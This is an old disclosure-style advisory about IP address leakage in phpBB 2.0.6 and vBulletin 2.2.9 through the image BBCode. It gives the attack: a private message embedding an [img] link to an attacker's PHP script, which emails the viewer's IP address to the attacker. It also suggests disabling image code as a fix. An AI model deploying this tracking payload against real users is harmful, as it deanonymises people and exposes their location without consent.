Whackerz #1

ip disclusre by Fady911x/Whackerz


ip disclusre in phpbb and vbulletin boards

The proplem:
------------

There is a weak input validation at img code in both of phpbb and vbulletin boards
so an attacker can obtain the ip address of any user in both of them through img code

this was tested on phpbb 2.0.6 and vbulletin 2.2.9

The exploit:
------------

the attacker can send a private message to any user with this img code 

[img]http://host/script.php[/img]

and put this code in the script.php

-------------


$mail="my@mail.com";
mail($mail,"the ip address","$REMOTE_ADDR","from:ip@host.com");
?> ------------- if the user opened this private message the attacker will obtain his ip on e-mail Fast fix: --------- disable img code until a patch is released ------ fady911x fady911x[at]hotmail.com